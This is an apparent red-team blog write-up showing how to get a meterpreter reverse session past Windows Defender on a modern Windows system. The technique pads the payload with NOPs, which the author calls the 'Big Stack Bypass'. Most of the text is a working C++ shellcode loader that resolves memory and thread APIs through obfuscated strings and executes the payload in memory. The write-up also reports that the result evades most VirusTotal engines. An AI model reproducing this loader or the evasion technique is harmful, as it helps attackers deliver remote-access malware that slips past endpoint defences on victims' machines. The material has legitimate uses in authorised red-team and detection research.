# Making Meterpreter Viable Again

### Part One: Introduction

The goal of this writeup is to demonstrate the effectiveness of the Big Stack Bypass by achieving a working meterpreter session on a modern Windows system with Windows Defender enabled.

The goal of this article is to demonstrate the effectiveness of the initial bypass, not necessarily the longevity of the connection so we won't be discussing encrypting the communications of our session or redirecting our traffic to a teamserver the way an actual red team operation might.

### Part Two: Getting Started

We start off with an unencrypted and unencoded meterpreter binary payload.

<figure><img src="https://4223093509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsOcwlgEs4z7TZgzT3Eq0%2Fuploads%2FAd3HdLhkFDFtqVwBoLsS%2Fimage.png?alt=media&#x26;token=089def3b-65c2-4f87-a9a8-ad776e7ef9e4" alt=""><figcaption></figcaption></figure>

Before we go into writing our code we need to make sure these work. So we can quickly setup our multi/handler listener on Kali and run either the binary or the executable and we should receive a connection.

<figure><img src="https://4223093509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsOcwlgEs4z7TZgzT3Eq0%2Fuploads%2Foee3B2eieFdkaOny6p2H%2Fimage.png?alt=media&#x26;token=1464be35-ce30-4c5e-a6ec-1694585f2203" alt=""><figcaption></figcaption></figure>

And here we can see that it works.

<figure><img src="https://4223093509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsOcwlgEs4z7TZgzT3Eq0%2Fuploads%2F4CAO6RLGLwyix1Q7Jwl2%2Fimage.png?alt=media&#x26;token=bb8facdb-b7b8-4e7b-95e5-8ebd5b2d849b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4223093509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsOcwlgEs4z7TZgzT3Eq0%2Fuploads%2Fkjbbf1ImU7fSPptXkmyI%2Fimage.png?alt=media&#x26;token=c32a8991-8b2a-4da6-b596-efaf0accdda7" alt=""><figcaption></figcaption></figure>

We note that the payload is approximately 200KB. We paste it into the code template we used in the original Big Stack Bypass writeup.

Template:

```cpp
#include <windows.h>
#include <stdio.h>
#include <time.h>
#include <random>

typedef LPVOID (WINAPI * VirtualAlloc_t)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
typedef BOOL (WINAPI * VirtualProtect_t)(LPVOID, SIZE_T, DWORD, PDWORD);
typedef HANDLE (WINAPI * CreateThread_t)(LPSECURITY_ATTRIBUTES   lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE  lpStartAddress, __drv_aliasesMem LPVOID lpParameter, DWORD dwCreationFlags,LPDWORD lpThreadId);

unsigned char sVirtualProtect[] = { 'V','i','r','t','u','a','l','P','r','o','t','e','c','t', 0x0 };
unsigned char sVirtualAlloc[] = {'V','i','r','t','u','a','l','A','l','l','o','c',0x0};
unsigned char sCreateThread[] = {'C','r','e','a','t','e','T','h','r','e','a','d',0x0,};



int main(VOID) {
	//plain meterpreter payload
	Unsigned char payload[] = {[…snip…]}
	size_t payload_len = sizeof(payload);
	
	void * exec_mem;
	BOOL rv;
	HANDLE th;
	DWORD oldprotect = 0;
		
		
	//function pointers
	VirtualAlloc_t VirtualAlloc_p = (VirtualAlloc_t) GetProcAddress(GetModuleHandle((LPCSTR) "KErnEl32.DLl"), (LPCSTR) sVirtualAlloc);
	VirtualProtect_t VirtualProtect_p = (VirtualProtect_t) GetProcAddress(GetModuleHandle((LPCSTR) "kErnEl32.DLl"), (LPCSTR) sVirtualProtect);
	CreateThread_t CreateThread_p = (CreateThread_t) GetProcAddress(GetModuleHandle((LPCSTR) "kERnEl32.DLl"), (LPCSTR) sCreateThread);
		
		
	// Allocate a memory buffer for payload
	exec_mem = VirtualAlloc_p(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	// Copy payload to program memory ; this gets inlined
	RtlMoveMemory(exec_mem, payload, payload_len);
	
	// Make payload executable
	rv = VirtualProtect_p(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

	printf("\nLaunch Payload?\n");
	getchar();

	// Run payload
	if ( rv != 0 ) {
		th = CreateThread_p(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
		WaitForSingleObject(th, INFINITE);
				
	}
			
	return 0;
}
```

Now lets kill those sessions and see if we can nop into the raw binary and bypass Defender in a non-exception folder.

### Part Three: The Weather Outside is Frightful

Once we've built and inserted the sleigh, we can compile our implant and put it into our test folder.

Remember, we need at least a 2MB payload…that's a lot of NOPs.

<figure><img src="https://4223093509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsOcwlgEs4z7TZgzT3Eq0%2Fuploads%2FoePhEIT0ZX1IOe1tZWl5%2Fimage.png?alt=media&#x26;token=7a761cd8-6d21-4ae5-a469-407820acf31e" alt=""><figcaption></figcaption></figure>

Nothing happens when we drop the implant in our test folder. ThreatCheck confirms it's flagged as safe.

<figure><img src="https://4223093509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsOcwlgEs4z7TZgzT3Eq0%2Fuploads%2FQU9QdaWpwGY8xZQk6Tkd%2Fimage.png?alt=media&#x26;token=ee6946c1-9716-4f9c-9573-42370377834a" alt=""><figcaption></figcaption></figure>

### Part Four: ???

\[Intentionally left blank]

### Part Five: Profit

We run and catch our session.

<figure><img src="https://4223093509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsOcwlgEs4z7TZgzT3Eq0%2Fuploads%2FMqZIGu4MpxAzRapPN4Wj%2Fimage.png?alt=media&#x26;token=b2bcd558-8fd2-4c9c-800d-bc1e7cd25b0f" alt=""><figcaption></figcaption></figure>

This technique also successfully bypasses most analysis availible on VirusTotal:

<figure><img src="https://4223093509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsOcwlgEs4z7TZgzT3Eq0%2Fuploads%2Fqm2T1tQ8BxVVmwUKmmwf%2Fimage.png?alt=media&#x26;token=fa07e8f1-ca74-4cf9-af65-ac6daeb47b66" alt=""><figcaption><p><a href="https://www.virustotal.com/gui/file/781c68f66a1bfd6255a17487edc7c8c75f1a6105fed363c0559ae6f0743b582e?nocache=1">https://www.virustotal.com/gui/file/781c68f66a1bfd6255a17487edc7c8c75f1a6105fed363c0559ae6f0743b582e?nocache=1</a></p></figcaption></figure>

If you only use the implant code without the Big Stack Bypass, you can expect these results:

<figure><img src="https://4223093509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FsOcwlgEs4z7TZgzT3Eq0%2Fuploads%2FMICKViiPGaII7tOYsA0V%2Fimage.png?alt=media&#x26;token=d7e0d7d0-1dad-4b52-a08c-42501b8e2c29" alt=""><figcaption><p><a href="https://www.virustotal.com/gui/file/4067fd95a3a748e6307b01d77b9b52c89e7fb4db644b663926d700d7875b969a?nocache=1">https://www.virustotal.com/gui/file/4067fd95a3a748e6307b01d77b9b52c89e7fb4db644b663926d700d7875b969a?nocache=1</a></p></figcaption></figure>

### Part Six:Conclusion

In this example we saw that one of the most signatured payloads in offensive security could be made viable again using the Big Stack Bypass. Additionally, this methodology once again proved highly effective at evading most AV engine analysis on VirusTotal.

### References:

{% embed url="<https://github.com/0xTriboulet/Red_Team_Code_Snippets/tree/main/Python/PushingP>" %}

{% embed url="<https://github.com/0xTriboulet/Red_Team_Code_Snippets/tree/main/Cpp/deceiving_defender/BigStackBypass/meterpreter>" %}
